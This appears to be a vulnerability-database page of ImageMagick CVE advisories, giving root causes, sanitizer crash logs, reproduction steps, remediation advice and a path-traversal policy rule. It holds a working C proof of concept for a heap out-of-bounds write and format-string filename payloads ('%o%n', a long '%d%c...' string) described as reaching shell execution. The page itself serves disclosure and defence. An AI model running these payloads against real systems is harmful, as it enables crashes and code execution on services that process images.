AddressSanitizer: heap-buffer-overflow on address 0x6eaac490 WRITE of size 1 at 0x6eaac490 thread T0 #0 0xed2788 in WriteBMPImage coders/bmp.c:2309 #1 0x13da32c in WriteImage MagickCore/constitute.c:1342 #2 0x13dc657 in WriteImages MagickCore/constitute.c:1564 0x6eaac490 is located 0 bytes to the right of 178957456-byte region allocated by thread T0 here: #0 0x408e30ab in __interceptor_posix_memalign #1 0xd03305 in AcquireVirtualMemory MagickCore/memory.c:747 #2 0xecd597 in WriteBMPImage coders/bmp.c:2092 ``` |
Affected by 22 other vulnerabilities. |
|
VCID-fnck-7mvx-hqc9
Aliases: CVE-2026-27799 GHSA-r99p-5442-q2x2 |
ImageMagick has a heap Buffer Over-read in its DJVU image format handler A heap Buffer Over-read vulnerability exists in the DJVU image format handler. The vulnerability occurs due to integer truncation when calculating the stride (row size) for pixel buffer allocation. The stride calculation overflows a 32-bit signed integer, resulting in an out-of-bounds memory reads. |
Affected by 22 other vulnerabilities. |
|
VCID-g41y-dv8u-3yf1
Aliases: CVE-2026-30936 GHSA-5ggv-92r5-cp4p |
ImageMagick has Heap Buffer Overflow in WaveletDenoiseImage A crafted image could cause an out of bounds heap write inside the WaveletDenoiseImage method. When processing a crafted image with the -wavelet-denoise operation an out of bounds write can occur. ``` ================================================================= ==661320==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000002754 at pc 0x5ff45f82c92a bp 0x7fffb732b400 sp 0x7fffb732b3f0 WRITE of size 4 at 0x503000002754 thread T0 ``` |
Affected by 0 other vulnerabilities. |
|
VCID-g679-q851-xub7
Aliases: CVE-2026-32259 |
ImageMagick: stack-based buffer overflow in sixel encoder |
Affected by 0 other vulnerabilities. |
|
VCID-g9xf-han8-6qgs
Aliases: CVE-2025-69204 |
ImageMagick: ImageMagick: Denial of Service via integer overflow in SVG image processing |
Affected by 22 other vulnerabilities. |
|
VCID-gdg8-aejn-83c4
Aliases: CVE-2026-25965 GHSA-8jvj-p28h-9gm7 |
ImageMagick: Policy bypass through path traversal allows reading restricted content despite secured policy ImageMagick’s path security policy is enforced on the raw filename string before the filesystem resolves it. As a result, a policy rule such as /etc/* can be bypassed by a path traversal. The OS resolves the traversal and opens the sensitive file, but the policy matcher only sees the unnormalized path and therefore allows the read. This enables local file disclosure (LFI) even when policy-secure.xml is applied. Actions to prevent reading from files have been taken. But it make sure writing is also not possible the following should be added to your policy: ``` <policy domain="path" rights="none" pattern="*../*"/> ``` And this will also be included in the project's more secure policies by default. |
Affected by 22 other vulnerabilities. |
|
VCID-h221-qd8d-tqa5
Aliases: CVE-2026-23952 GHSA-5vx3-wx4q-6cj8 |
ImageMagick has a NULL pointer dereference in MSL parser via <comment> tag before image load ## Summary NULL pointer dereference in MSL (Magick Scripting Language) parser when processing `<comment>` tag before any image is loaded. ## Version - ImageMagick 7.x (tested on current main branch) - Commit: HEAD ## Steps to Reproduce ### Method 1: Using ImageMagick directly ```bash magick MSL:poc.msl out.png ``` ### Method 2: Using OSS-Fuzz reproduce ```bash python3 infra/helper.py build_fuzzers imagemagick python3 infra/helper.py reproduce imagemagick msl_fuzzer poc.msl ``` Or run the fuzzer directly: ```bash ./msl_fuzzer poc.msl ``` ## Expected Behavior ImageMagick should handle the malformed MSL gracefully and return an error message. ## Actual Behavior ``` convert: MagickCore/property.c:297: MagickBooleanType DeleteImageProperty(Image *, const char *): Assertion `image != (Image *) NULL' failed. Aborted ``` ## Root Cause Analysis In `coders/msl.c:7091`, `MSLEndElement()` calls `DeleteImageProperty()` on `msl_info->image[n]` when handling the `</comment>` end tag without checking if the image is NULL: ```c if (LocaleCompare((const char *) tag,"comment") == 0 ) { (void) DeleteImageProperty(msl_info->image[n],"comment"); // No NULL check ... } ``` When `<comment>` appears before any `<read>` operation, `msl_info->image[n]` is NULL, causing the assertion failure in `DeleteImageProperty()` at `property.c:297`. ## Impact - **DoS**: Crash via assertion failure (debug builds) or NULL pointer dereference (release builds) - **Affected**: Any application using ImageMagick to process user-supplied MSL files ## Fuzzer This issue was discovered using a custom MSL fuzzer: ```cpp #include <cstdint> #include <Magick++/Blob.h> #include <Magick++/Image.h> #include "utils.cc" extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { if (IsInvalidSize(Size)) return(0); try { const Magick::Blob blob(Data, Size); Magick::Image image; image.magick("MSL"); image.fileName("MSL:"); image.read(blob); } catch (Magick::Exception) { } return(0); } ``` This issue was found by Team FuzzingBrain @ Texas A&M University |
Affected by 22 other vulnerabilities. |
|
VCID-jc5m-7rvc-2qg6
Aliases: CVE-2026-32636 GHSA-gc62-2v5p-qpmp |
ImageMagick has a heap-buffer-overflow in NewXMLTree which could result in crash The NewXMLTree method contains a bug that could result in a crash due to an out of write bounds of a single zero byte. |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-jcjk-s89c-mbbm
Aliases: CVE-2026-26983 GHSA-w8mw-frc6-r7m8 |
ImageMagick: Invalid MSL <map> can result in a use after free The MSL interpreter crashes when processing a invalid `<map>` element that causes it to use an image after it has been freed. |
Affected by 0 other vulnerabilities. |
|
VCID-jtkv-nvan-jbag
Aliases: CVE-2025-62171 GHSA-9pp9-cfwx-54rm |
ImageMagick has Integer Overflow in BMP Decoder (ReadBMP) CVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but **the fix is incomplete and ineffective**. The latest version **7.1.2-5 remains vulnerable** to the same integer overflow attack. The patch added `BMPOverflowCheck()` but placed it **after** the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS. **Affected Versions:** - ImageMagick < 7.1.2-2 (originally reported) - **ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)** **Platform and Configuration Requirements:** - 32-bit systems ONLY (i386, i686, armv7l, etc.) - Requires `size_t = 4 bytes`. (64-bit systems are **NOT vulnerable** (size_t = 8 bytes)) - Requires modified resource limits: The default `width`, `height`, and `area` limits must have been manually increased (Systems using default ImageMagick resource limits are **NOT vulnerable**). --- |
Affected by 22 other vulnerabilities. |
|
VCID-jvq6-xjbu-fkb9
Aliases: CVE-2026-24485 GHSA-pqgj-2p96-rx85 |
ImageMagick: Infinite loop vulnerability when parsing a PCD file When a PCD file does not contain a valid marker, the DecodeImage() function becomes trapped in an infinite loop while searching for the marker, causing the program to become unresponsive and continuously consume CPU resources, ultimately leading to system resource exhaustion and denial of service. |
Affected by 22 other vulnerabilities. |
|
VCID-kefv-kpkk-wudf
Aliases: CVE-2026-25799 GHSA-543g-8grm-9cw6 |
ImageMagick has Division-by-Zero in YUV sampling factor validation, which leads to crash A logic error in YUV sampling factor validation allows an invalid sampling factor to bypass checks and trigger a division-by-zero during image loading, resulting in a reliable denial-of-service. ``` coders/yuv.c:210:47: runtime error: division by zero AddressSanitizer:DEADLYSIGNAL ================================================================= ==3543373==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x55deeb4d723c bp 0x7fffc28d34d0 sp 0x7fffc28d3320 T0) #0 0x55deeb4d723c in ReadYUVImage coders/yuv.c:210 #1 0x55deeb751dff in ReadImage MagickCore/constitute.c:743 #2 0x55deeb756374 in ReadImages MagickCore/constitute.c:1082 #3 0x55deec682375 in CLINoImageOperator MagickWand/operation.c:4959 #4 0x55deec6887ed in CLIOption MagickWand/operation.c:5473 #5 0x55deec32843b in ProcessCommandOptions MagickWand/magick-cli.c:653 #6 0x55deec32b99b in MagickImageCommand MagickWand/magick-cli.c:1392 #7 0x55deec324d58 in MagickCommandGenesis MagickWand/magick-cli.c:177 #8 0x55deead82519 in MagickMain utilities/magick.c:162 #9 0x55deead828be in main utilities/magick.c:193 #10 0x7fb90807fd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #11 0x7fb90807fe3f in __libc_start_main_impl ../csu/libc-start.c:392 #12 0x55deead81974 in _start (/data/ylwang/LargeScan/targets/ImageMagick/utilities/magick+0x22fb974) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: UNKNOWN SIGNAL coders/yuv.c:210 in ReadYUVImage ==3543373==ABORTING ``` |
Affected by 22 other vulnerabilities. |
|
VCID-mxg1-261s-nbds
Aliases: CVE-2025-57807 GHSA-23hg-53q6-hqfg |
ImageMagick BlobStream Forward-Seek Under-Allocation **Reporter:** Lumina Mescuwa **Product:** ImageMagick 7 (MagickCore) **Component:** `MagickCore/blob.c` (Blob I/O - BlobStream) **Tested:** 7.1.2-0 (source tag) and 7.1.2-1 (Homebrew), macOS arm64, clang-17, Q16-HDRI **Impact:** Heap out-of-bounds **WRITE** (attacker-controlled bytes at attacker-chosen offset) → memory corruption; potential code execution --- ## Executive Summary For memory-backed blobs (**BlobStream**), [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) permits advancing the stream **offset** beyond the current end without increasing capacity. The subsequent [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) then expands by **`quantum + length`** (amortized) instead of **`offset + length`**, and copies to `data + offset`. When `offset ≫ extent`, the copy targets memory beyond the allocation, producing a deterministic heap write on 64-bit builds. No 2⁶⁴ arithmetic wrap, external delegates, or policy settings are required. --- ## Affected Scope - **Versions confirmed:** 7.1.2-0, 7.1.2-1 - **Architectures:** Observed on macOS arm64; architecture-agnostic on LP64 - Paths: MagickCore blob subsystem — **BlobStream** ([`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) and [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938)). - **Not required:** External delegates; special policies; integer wraparound --- ## Technical Root Cause **Types (LP64):** `offset: MagickOffsetType` (signed 64-bit) `extent/length/quantum: size_t` (unsigned 64-bit) `data: unsigned char*` **Contract mismatch:** - [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) (BlobStream) updates `offset` to arbitrary positions, including past end, **without** capacity adjustment. - [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) tests `offset + length >= extent` and grows **by** `length + quantum`, doubles `quantum`, reallocates to `extent + 1`, then: ``` q = data + (size_t)offset; memmove(q, src, length); ``` There is **no guarantee** that `extent ≥ offset + length` post-growth. With `offset ≫ extent`, `q` is beyond the allocation. **Wrap-free demonstration:** Initialize `extent=1`, write one byte (`offset=1`), seek to `0x10000000` (256 MiB), then write 3–4 bytes. Growth remains << `offset + length`; the copy overruns the heap buffer. --- ## Exploitability & Reachability - **Primitive:** Controlled bytes written at a controlled displacement from the buffer base. - **Reachability:** Any encode-to-memory flow that forward-seeks prior to writing (e.g., header back-patching, reserved-space strategies). Even if current encoders/writers avoid this, the API contract **permits** it, thus creating a latent sink for first- or third-party encoders/writers. - **Determinism:** Once a forward seek past end occurs, the first subsequent write reliably corrupts memory. --- ## Impact Assessment - **Integrity:** High - adjacent object/metadata overwrite plausible. - **Availability:** High - reliably crashable (ASan and non-ASan). - **Confidentiality:** High - Successful exploitation to RCE allows the attacker to read all data accessible by the compromised process. - **RCE plausibility:** Typical of heap OOB writes in long-lived image services; allocator/layout dependent. --- ## CVSS v3.1 Rationale (9.8) - **AV:N / PR:N / UI:N** - server-side image processing is commonly network-reachable without auth or user action. - **AC:L** - a single forward seek + write suffices; no races or specialized state. - **S:U** - corruption localized to the ImageMagick process. - **C:H / I:H / A:H** - A successful exploit leads to RCE, granting full control over the process. This results in a total loss of Confidentiality (reading sensitive data), Integrity (modifying files/data), and Availability (terminating the service). _Base scoring assumes successful exploitation; environmental mitigations are out of scope of Base metrics._ --- ## Violated Invariant > **Before copying `length` bytes at `offset`, enforce `extent ≥ offset + length` with overflow-checked arithmetic.** The BlobStream growth policy preserves amortized efficiency but fails to enforce this **per-write** safety invariant. --- ## Remediation (Principle) In [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) (BlobStream case): 1. **Checked requirement:** `need = (size_t)offset + length;` → if `need < (size_t)offset`, overflow → fail. 2. **Ensure capacity ≥ need:** `target = MagickMax(extent + quantum + length, need);` (Optionally loop, doubling `quantum`, until `extent ≥ need` to preserve amortization.) 3. **Reallocate to `target + 1` before copying;** then perform the move. **Companion hardening (recommended):** - Document or restrict [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) on BlobStream so forward seeks either trigger explicit growth/zero-fill or require the subsequent write to meet the invariant. - Centralize blob arithmetic in checked helpers. - Unit tests: forward-seek-then-write (success and overflow-reject). --- ## Regression & Compatibility - **Behavior change:** Forward-seeked writes will either allocate to required size or fail cleanly (overflow/alloc-fail). - **Memory profile:** Single writes after very large seeks may allocate large buffers; callers requiring sparse behavior should use file-backed streams. --- ## Vendor Verification Checklist - Reproduce with a minimal in-memory BlobStream harness under ASan. - Apply fix; verify `extent ≥ offset + length` at all write sites. - Add forward-seek test cases (positive/negative). - Audit other growth sites (`SetBlobExtent`, stream helpers). - Clarify BlobStream seek semantics in documentation. - Unit test: forward seek to large offset on **BlobStream** followed by 1–8 byte writes; assert either growth to `need` or clean failure. --- # PoC / Reproduction / Notes ## Environment - **OS/Arch:** macOS 14 (arm64) - **Compiler:** clang-17 with AddressSanitizer - **ImageMagick:** Q16-HDRI - **Prefix:** `~/opt/im-7.1.2-0` - **`pkg-config`:** from PATH (no hard-coded `/usr/local/...`) --- ## Build ImageMagick 7.1.2-0 (static, minimal) ```bash ./configure --prefix="$HOME/opt/im-7.1.2-0" --enable-hdri --with-quantum-depth=16 \ --disable-shared --enable-static --without-modules \ --without-magick-plus-plus --disable-openmp --without-perl \ --without-x --without-lqr --without-gslib make -j"$(sysctl -n hw.ncpu)" make install "$HOME/opt/im-7.1.2-0/bin/magick" -version > magick_version.txt ``` --- ## Build & Run the PoC (memory-backed BlobStream) **`poc.c`:** _Uses private headers (`blob-private.h`) to exercise blob internals; a public-API variant (custom streams) is feasible but unnecessary for triage._ ```c // poc.c #include <stdio.h> #include <stdlib.h> #include <MagickCore/MagickCore.h> #include <MagickCore/blob.h> #include "MagickCore/blob-private.h" int main(int argc, char **argv) { MagickCoreGenesis(argv[0], MagickTrue); ExceptionInfo *e = AcquireExceptionInfo(); ImageInfo *ii = AcquireImageInfo(); Image *im = AcquireImage(ii, e); if (!im) return 1; // 1-byte memory blob → BlobStream unsigned char *buf = (unsigned char*) malloc(1); buf[0] = 0x41; AttachBlob(im->blob, buf, 1); // type=BlobStream, extent=1, offset=0 SetBlobExempt(im, MagickTrue); // don't free our malloc'd buf // Step 1: write 1 byte (creates BlobInfo + sets offset=1) unsigned char A = 0x42; (void) WriteBlob(im, 1, &A); fprintf(stderr, "[+] after 1 byte: off=%lld len=%zu\n", (long long) TellBlob(im), (size_t) GetBlobSize(im)); // Step 2: seek way past end without growing capacity const MagickOffsetType big = (MagickOffsetType) 0x10000000; // 256 MiB (void) SeekBlob(im, big, SEEK_SET); fprintf(stderr, "[+] after seek: off=%lld len=%zu\n", (long long) TellBlob(im), (size_t) GetBlobSize(im)); // Step 3: small write → reallocation grows by quantum+length, not to offset+length // memcpy then writes to data + offset (OOB) const unsigned char payload[] = "PWN"; (void) WriteBlob(im, sizeof(payload), payload); // If we get here, it didn't crash fprintf(stderr, "[-] no crash; check ASan flags.\n"); (void) CloseBlob(im); DestroyImage(im); DestroyImageInfo(ii); DestroyExceptionInfo(e); MagickCoreTerminus(); return 0; } ``` --- `run:` ```bash # Use the private prefix for pkg-config export PKG_CONFIG_PATH="$HOME/opt/im-7.1.2-0/lib/pkgconfig:$PKG_CONFIG_PATH" # Strict ASan for crisp failure export ASAN_OPTIONS='halt_on_error=1:abort_on_error=1:detect_leaks=0:fast_unwind_on_malloc=0' # Compile (static link pulls transitive deps via --static) clang -std=c11 -g -O1 -fno-omit-frame-pointer -fsanitize=address -o poc poc.c \ $(pkg-config --cflags MagickCore-7.Q16HDRI) \ $(pkg-config --static --libs MagickCore-7.Q16HDRI) # Execute and capture ./poc 2>&1 | tee asan.log ``` **Expected markers prior to the fault:** ``` [+] after 1 byte: off=1 len=1 [+] after seek: off=268435456 len=1 ``` An ASan **WRITE** crash in [`WriteBlob`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) follows (top frames: `WriteBlob blob.c:<line>`, then `_platform_memmove` / `__sanitizer_internal_memmove`). --- ## Debugger Verification (manual) LLDB can be used to snapshot the invariants; ASan alone is sufficient. ``` lldb ./poc (lldb) settings set use-color false (lldb) break set -n WriteBlob (lldb) run # First stop (prime write) (lldb) frame var length (lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped (lldb) continue # Second stop (post-seek write) (lldb) frame var length (lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped (lldb) expr -- (unsigned long long)image->blob->offset + (unsigned long long)length (lldb) expr -- (void*)((unsigned char*)image->blob->data + (size_t)image->blob->offset) # Into the fault; if inside memmove (no locals): (lldb) bt (lldb) frame select 1 (lldb) frame var image->blob->offset image->blob->length image->blob->extent image->blob->quantum ``` **Expected at second stop:** `type = BlobStream` · `offset ≈ 0x10000000` (256 MiB) · `length ≈ 3–4` · `extent ≈ 64 KiB` (≪ `offset + length`) · `quantum ≈ 128 KiB` · `mapped = MagickFalse` · `data + offset` far beyond base; next `continue` crashes in `_platform_memmove`. --- ## Credits **Reported by:** Lumina Mescuwa --- |
Affected by 22 other vulnerabilities. |
|
VCID-n47w-r932-abey
Aliases: CVE-2026-30883 GHSA-qmw5-2p58-xvrc |
ImageMagick is vulnerable to Heap Overflow when writing extremely large image profile in the PNG encoder An extremely large image profile could result in a heap overflow when encoding a PNG image. |
Affected by 0 other vulnerabilities. |
|
VCID-nvp5-dpj6-byda
Aliases: CVE-2026-23876 |
ImageMagick: ImageMagick: Arbitrary code execution via a crafted XBM image file |
Affected by 22 other vulnerabilities. |
|
VCID-p5aw-n691-nkff
Aliases: CVE-2026-25988 GHSA-782x-jh29-9mf7 |
ImageMagick: MSL image stack index may fail to refresh, leading to leaked images Sometimes msl.c fails to update the stack index, so an image is stored in the wrong slot and never freed on error, causing leaks. ``` ==841485==ERROR: LeakSanitizer: detected memory leaks Direct leak of 13512 byte(s) in 1 object(s) allocated from: #0 0x7ff330759887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145 ``` |
Affected by 22 other vulnerabilities. |
|
VCID-pcme-bwan-3bcf
Aliases: CVE-2026-25798 GHSA-p863-5fgm-rgq4 |
ImageMagick has NULL Pointer Dereference in ClonePixelCacheRepository via crafted image A NULL pointer dereference in ClonePixelCacheRepository allows a remote attacker to crash any application linked against ImageMagick by supplying a crafted image file, resulting in Denial of Service. ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==3704942==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x7f9d141239e0 bp 0x7ffd4c5711e0 sp 0x7ffd4c571148 T0) #0 0x7f9d141239e0 (/lib/x86_64-linux-gnu/libc.so.6+0xc49e0) #1 0x558a25e4f08d in ClonePixelCacheRepository._omp_fn.0 MagickCore/cache.c:784 #2 0x7f9d14c06a15 in GOMP_parallel (/lib/x86_64-linux-gnu/libgomp.so.1+0x14a15) #3 0x558a25e43151 in ClonePixelCacheRepository MagickCore/cache.c:753 #4 0x558a25e49a96 in OpenPixelCache MagickCore/cache.c:3849 #5 0x558a25e45117 in GetImagePixelCache MagickCore/cache.c:1829 #6 0x558a25e4dde3 in SyncImagePixelCache MagickCore/cache.c:5647 #7 0x558a256ba57d in SetImageExtent MagickCore/image.c:2713 ``` |
Affected by 22 other vulnerabilities. |
|
VCID-r3vw-ncns-cqgb
Aliases: CVE-2026-31853 GHSA-56jp-jfqg-f8f4 |
ImageMagick is vulnerable to heap buffer over-write on 32-bit systems in SFW decoder An overflow on 32-bit systems can cause a crash in the SFW decoder when processing extremely large images. |
Affected by 0 other vulnerabilities. |
|
VCID-r889-wzc7-1yem
Aliases: CVE-2025-55298 GHSA-9ccg-6pjw-x645 |
ImageMagick has a Format String Bug in InterpretImageFilename leads to arbitrary code execution ## Summary A format string bug vulnerability exists in `InterpretImageFilename` function where user input is directly passed to `FormatLocaleString` without proper sanitization. An attacker can overwrite arbitrary memory regions, enabling a wide range of attacks from heap overflow to remote code execution. <br> ## Details ### root cause ``` MagickExport size_t InterpretImageFilename(const ImageInfo *image_info, Image *image,const char *format,int value,char *filename, ExceptionInfo *exception) { ... while ((cursor=strchr(cursor,'%')) != (const char *) NULL) { const char *q = cursor; ssize_t offset = (ssize_t) (cursor-format); cursor++; /* move past '%' */ if (*cursor == '%') { /* Escaped %%. */ cursor++; continue; } /* Skip padding digits like %03d. */ if (isdigit((int) ((unsigned char) *cursor)) != 0) (void) strtol(cursor,(char **) &cursor,10); switch (*cursor) { case 'd': case 'o': case 'x': { ssize_t count; count=FormatLocaleString(pattern,sizeof(pattern),q,value); if ((count <= 0) || (count >= MagickPathExtent) || ((offset+count) >= MagickPathExtent)) return(0); (void) CopyMagickString(p+offset,pattern,(size_t) (MagickPathExtent- offset)); cursor++; break; } ``` When the InterpretImageFilename function processes a filename beginning with format specifiers such as %d, %o, or %x, the filename string is directly passed as a parameter to the FormatLocaleString function. <br> ``` MagickExport ssize_t FormatLocaleString(char *magick_restrict string, const size_t length,const char *magick_restrict format,...) { ssize_t n; va_list operands; va_start(operands,format); n=FormatLocaleStringList(string,length,format,operands); va_end(operands); return(n); } ``` ``` MagickPrivate ssize_t FormatLocaleStringList(char *magick_restrict string, const size_t length,const char *magick_restrict format,va_list operands) { ... n=(ssize_t) _vsnprintf_l(string,length,format,locale,operands); ``` Inside FormatLocaleString, the variable argument list is initialized through va_start, after which the format string processing occurs by interpreting the format specifiers and using corresponding values from CPU registers and the call stack as arguments for the formatting operations. <br> ## PoC ### 1. Heap overflow read tested on development container ``` root@9184bf32bd0f:/workspaces/ImageMagick# mogrify %o%n ================================================================= ==55653==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000001 at pc 0x5bdccaae689e bp 0x7fff6882c410 sp 0x7fff6882c408 READ of size 8 at 0x603000000001 thread T0 #0 0x5bdccaae689d in SplaySplayTree splay-tree.c #1 0x5bdccaae865e in GetValueFromSplayTree (/ImageMagick/bin/magick+0x59165e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #2 0x5bdccaa8e47b in GetImageOption (/ImageMagick/bin/magick+0x53747b) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #3 0x5bdccaa63c39 in SyncImageSettings (/ImageMagick/bin/magick+0x50cc39) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #4 0x5bdccaa63036 in AcquireImage (/ImageMagick/bin/magick+0x50c036) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #5 0x5bdccaa70cc4 in SetImageInfo (/ImageMagick/bin/magick+0x519cc4) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #6 0x5bdccae42e13 in ReadImages (/ImageMagick/bin/magick+0x8ebe13) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #7 0x5bdccb11ee08 in MogrifyImageCommand (/ImageMagick/bin/magick+0xbc7e08) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #8 0x5bdccb103ca9 in MagickCommandGenesis (/ImageMagick/bin/magick+0xbacca9) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #9 0x5bdccaa5f939 in main (/ImageMagick/bin/magick+0x508939) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #10 0x73b2102b2d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd) #11 0x73b2102b2e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd) #12 0x5bdcca99f404 in _start (/ImageMagick/bin/magick+0x448404) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) 0x603000000001 is located 15 bytes to the left of 24-byte region [0x603000000010,0x603000000028) allocated by thread T0 here: #0 0x5bdccaa2224e in malloc (/ImageMagick/bin/magick+0x4cb24e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #1 0x73b21031915a (/lib/x86_64-linux-gnu/libc.so.6+0x9015a) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd) SUMMARY: AddressSanitizer: heap-buffer-overflow splay-tree.c in SplaySplayTree Shadow bytes around the buggy address: 0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c067fff8000:[fa]fa 00 00 00 fa fa fa 00 00 00 00 fa fa 00 00 0x0c067fff8010: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 0x0c067fff8020: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 0x0c067fff8030: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 0x0c067fff8040: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 0x0c067fff8050: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==55653==ABORTING ``` Processing a malicious filename containing format string specifiers such as %d%n results in corruption of the SplayTree structure stored in the r8 register. The corrupted structure contains invalid pointer values that are later dereferenced by the SplaySplayTree function, causing the function to access unintended memory locations and triggering a heap overflow condition. <br> ### 2. Shell execution tested on a local environment https://github.com/user-attachments/assets/00e6a091-8e77-48f0-959e-c05eff69ff94 ``` ~/fuzz gdb -nx -args ./patchedsecure/bin/mogrify %d%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c